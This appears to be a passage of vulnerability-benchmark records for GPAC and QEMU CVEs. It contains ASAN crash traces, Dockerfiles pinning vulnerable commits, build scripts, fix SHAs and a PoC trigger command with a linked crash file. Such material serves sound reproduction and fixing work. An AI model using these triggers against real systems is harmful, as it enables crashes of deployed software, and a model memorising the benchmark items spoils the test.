gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #55 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #56 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #57 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #58 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #59 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #60 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #61 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #62 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #63 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #64 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #65 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #66 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #67 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #68 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #69 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #70 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #71 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #72 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #73 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #74 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #75 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #76 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #77 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #78 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #79 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #80 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #81 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #82 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #83 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #84 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #85 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #86 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #87 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #88 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #89 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #90 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #91 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #92 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #93 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #94 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #95 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #96 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #97 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #98 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #99 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #100 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #101 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #102 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #103 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #104 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #105 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #106 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #107 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #108 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #109 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #110 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #111 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #112 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #113 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #114 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #115 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #116 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #117 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #118 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #119 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #120 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #121 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #122 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #123 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #124 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #125 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #126 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #127 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #128 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #129 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #130 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #131 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #132 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #133 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #134 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #135 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #136 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #137 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #138 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #139 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #140 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #141 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #142 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #143 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #144 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #145 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #146 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #147 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #148 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #149 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #150 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #151 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #152 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #153 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #154 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #155 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #156 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #157 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #158 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #159 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #160 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #161 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #162 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #163 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #164 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #165 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #166 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #167 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #168 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #169 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #170 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #171 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #172 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #173 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #174 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #175 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #176 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #177 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #178 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #179 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #180 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #181 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #182 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #183 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #184 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #185 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #186 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #187 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #188 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #189 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #190 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #191 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #192 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #193 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #194 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #195 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #196 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #197 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #198 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #199 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #200 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #201 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #202 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #203 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #204 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #205 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #206 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #207 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #208 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #209 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #210 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #211 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #212 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #213 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #214 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #215 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #216 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #217 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #218 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #219 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #220 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #221 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #222 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #223 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #224 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #225 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #226 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #227 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #228 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #229 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #230 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #231 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #232 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #233 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #234 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #235 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #236 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #237 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #238 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #239 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #240 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #241 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #242 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #243 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #244 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #245 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #246 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #247 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #248 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 #249 0x7efda2858c1f in gf_sg_proto_field_is_sftime_offset scenegraph/vrml_proto.c:1295 SUMMARY: AddressSanitizer: stack-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:762 in __interceptor_memset ==6667==ABORTING Impact This is capable of causing crashes and allowing modification of stack memory which could lead to remote code execution. Relevant Links: https://github.com/gpac/gpac https://github.com/gpac/gpac/blob/05eaac875354682942b70c790bcd62cb5f4cc825/src/scenegraph/vrml_proto.c#L1295
[]
[ { "sha": "e0fdeee5", "url": null }, { "sha": "c31941822ee275a35bc148382bafef1c53ec1c26", "url": "https://github.com/gpac/gpac/commit/c31941822ee275a35bc148382bafef1c53ec1c26" }, { "sha": "05eaac875354682942b70c790bcd62cb5f4cc825", "url": "https://github.com/gpac/gpac/commit/05eaac875354682942b70c790bcd62cb5f4cc825" } ]
gpac.cve-2023-5586
gpac/gpac
50a60b0e560f4c2d36198a231f952c876a760596
2023-10-13T06:26:36
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 50a60b0e560f4c2d36198a231f952c876a760596 WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740 ## Description: Description NULL Pointer Dereference in function gf_filter_pck_new_alloc_internal at filter_core/filter_pck.c:108. Version git log commit 5692dc729491805e0e5f55c21d50ba1e6b19e88e (HEAD -> master, origin/master, origin/HEAD) Author: Aurelien David <aurelien.david@telecom-paristech.fr> Date: Wed Oct 11 13:24:46 2023 +0200 ac3dmx: add remain size check (fixes #2627) ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev577-g5692dc729-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Proof of Concept reported (no instrumented program) ./configure --enable-sanitizer make ./bin/gcc/MP4Box -dash 1000 -out /dev/null poc2_nul [Dasher] No template assigned, using $File$_dash$FS$$Number$ [PCMReframe] Missing audio sample rate, cannot parse filter_core/filter_pck.c:108:6: runtime error: member access within null pointer of type 'struct GF_FilterPid' Reported with ASAN (instrumented program): ./bin/gcc/MP4Box -dash 1000 -out /dev/null poc2_null [Dasher] No template assigned, using $File$_dash$FS$$Number$ [PCMReframe] Missing audio sample rate, cannot parse AddressSanitizer:DEADLYSIGNAL ================================================================= ==2015631==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f6dd4798891 bp 0x7ffee005d790 sp 0x7ffee005d6a0 T0) ==2015631==The signal is caused by a READ memory access. ==2015631==Hint: address points to the zero page. #0 0x7f6dd4798891 in gf_filter_pck_new_alloc_internal (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x119b891) #1 0x7f6dd4d1ef00 in pcmreframe_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1721f00) #2 0x7f6dd48571ce in gf_filter_process_task (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x125a1ce) #3 0x7f6dd4825216 in gf_fs_thread_proc (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1228216) #4 0x7f6dd4823b0f in gf_fs_run (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x1226b0f) #5 0x7f6dd41c2047 in gf_dasher_process (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0xbc5047) #6 0x50205c in do_dash /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:4831:15 #7 0x4f34ee in mp4box_main /home/fuzz/gpac/gpac/applications/mp4box/mp4box.c:6245:7 #8 0x7f6dd327e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #9 0x42ad4d in _start (/home/fuzz/gpac/gpac/bin/gcc/MP4Box+0x42ad4d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/fuzz/gpac/gpac/bin/gcc/libgpac.so.12+0x119b891) in gf_filter_pck_new_alloc_internal POC: https://github.com/Janette88/test_pocs/blob/main/poc2_null Impact This vulnerability is capable of making the MP4Box crash, An attacker who can successfully exploit this vulnerability could potentially execute arbitrary code in the context of the application, leading to a compromise of the system where the vulnerable software is installed. Additionally, the attacker could use this vulnerability to cause a denial of service (DoS) by crashing the application or making it unresponsive. This vulnerability poses a significant risk to the confidentiality, integrity, and availability of systems running the affected software. Relevant Links: https://github.com/gpac/gpac
[]
[ { "sha": "d2a6ea71", "url": null }, { "sha": "ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc", "url": "https://github.com/gpac/gpac/commit/ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc" }, { "sha": "5692dc729491805e0e5f55c21d50ba1e6b19e88e", "url": "https://github.com/gpac/gpac/commit/5692dc729491805e0e5f55c21d50ba1e6b19e88e" } ]
qemu.cve-2023-0330
qemu/qemu
9d52aaa92bd8b301e918dc5055041932ee1e0371
2023-05-28T04:02:26
qemu
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool ninja-build libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libslirp-dev patchelf wget libattr1 libattr1-dev libcap-ng-dev pkg-config RUN git clone https://github.com/qemu/qemu qemu RUN git -C qemu checkout 9d52aaa92bd8b301e918dc5055041932ee1e0371 WORKDIR $SRC/qemu COPY build.sh $SRC/
#!/bin/bash # Default build script template for C/C++ projects set -eu # Define configuration options CONFIG_OPTS="--disable-shared" CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug" MAKE_OPTS="-j$(nproc)" BUILD_DIR="build" # 1. Run build preparation scripts if they exist for prep_script in buildconf autogen.sh bootstrap; do if [ -x "$prep_script" ]; then echo "Running $prep_script..." ./$prep_script break elif [ -f "$prep_script" ]; then echo "Found $prep_script but it's not executable, setting permissions..." chmod +x $prep_script ./$prep_script break fi done # 2. Handle different build systems if [ -f "configure" ]; then echo "Found configure script, running with options: $CONFIG_OPTS" ./configure $CONFIG_OPTS echo "Building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "CMakeLists.txt" ]; then echo "Found CMakeLists.txt, using CMake build system" mkdir -p $BUILD_DIR cd $BUILD_DIR cmake $CMAKE_OPTS .. make $MAKE_OPTS elif [ -f "Makefile" ] || [ -f "makefile" ]; then echo "Found Makefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -f "meson.build" ]; then echo "Found meson.build, using Meson build system" mkdir -p $BUILD_DIR meson setup $BUILD_DIR . cd $BUILD_DIR ninja elif [ -f "GNUmakefile" ]; then echo "Found GNUmakefile, building with make $MAKE_OPTS" make $MAKE_OPTS elif [ -d ".git" ] && [ -f "Makefile.am" ]; then echo "Found Makefile.am, running autoreconf" autoreconf -i ./configure $CONFIG_OPTS make $MAKE_OPTS else echo "WARNING: No recognized build system found!" echo "Trying generic approach:" # Try to detect common source patterns and compile them if ls *.c >/dev/null 2>&1 || ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then echo "Found C/C++ source files, attempting direct compilation" if ls *.cpp >/dev/null 2>&1 || ls *.cc >/dev/null 2>&1; then CXX=${CXX:-g++} echo "Compiling C++ sources with $CXX" $CXX -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.cpp *.cc 2>/dev/null || true elif ls *.c >/dev/null 2>&1; then CC=${CC:-gcc} echo "Compiling C sources with $CC" $CC -g -O1 -fsanitize=address -fno-omit-frame-pointer -o main *.c 2>/dev/null || true fi fi fi
/src/qemu
address
================= Bug Report (1/1) ================== ## Source: Red Hat Bugzilla ## URL: https://bugzilla.redhat.com/show_bug.cgi?id=2160151 ## Description: Bugzilla ID: 2160151 Title: CVE-2023-0330 QEMU: lsi53c895a: DMA reentrancy issue leads to stack overflow Description Rohit Keshri 2023-01-11 15:25:09 UTC A vulnerability in the lsi53c895a device which affects the latest version of qemu. The carefully designed PoC can repeatedly trigger DMA writes but does not limit the addresses written to the DMA, resulting in reentrancy issues and eventually overflow. A privileged local user could use this flaw to crash the QEMU process on the host. It is worth noting that the DMA operation is the pci_dma_write() in lsi_mem_write(), so the issue cannot be solved by modifying the 'attrs' flag. The following log can reveal it: ==3850539==ERROR: AddressSanitizer: stack-overflow on address 0x7ffeb10d5e58 (pc 0x55cd154d0f16 bp 0x7ffeb10d6690 sp 0x7ffeb10d5e60 T0) #0 0x55cd154d0f16 in __asan_memcpy llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 #1 0x55cd15b25676 in sparse_mem_read qemu/hw/mem/sparse-mem.c:50:9 #2 0x55cd16c973cd in memory_region_read_accessor qemu/softmmu/memory.c:440:11 #3 0x55cd16c6e9fa in access_with_adjusted_size qemu/softmmu/memory.c:554:18 #4 0x55cd16c6cf11 in memory_region_dispatch_read1 qemu/softmmu/memory.c #5 0x55cd16c6cf11 in memory_region_dispatch_read qemu/softmmu/memory.c:1457:9 #6 0x55cd16cb9270 in flatview_read_continue qemu/softmmu/physmem.c:2892:23 #7 0x55cd16cba14f in flatview_read qemu/softmmu/physmem.c:2934:12 #8 0x55cd16cb9ee3 in address_space_read_full qemu/softmmu/physmem.c:2947:18 #9 0x55cd15ed44c5 in dma_memory_rw_relaxed qemu/include/sysemu/dma.h:87:12 #10 0x55cd15ed44c5 in dma_memory_rw qemu/include/sysemu/dma.h:130:12 #11 0x55cd15ed44c5 in pci_dma_rw qemu/include/hw/pci/pci.h:850:12 #12 0x55cd15ed44c5 in pci_dma_read qemu/include/hw/pci/pci.h:869:12 #13 0x55cd15ed44c5 in read_dword qemu/hw/scsi/lsi53c895a.c:472:5 #14 0x55cd15ed44c5 in lsi_execute_script qemu/hw/scsi/lsi53c895a.c:1154:12 #15 0x55cd15eed0e5 in lsi_command_complete 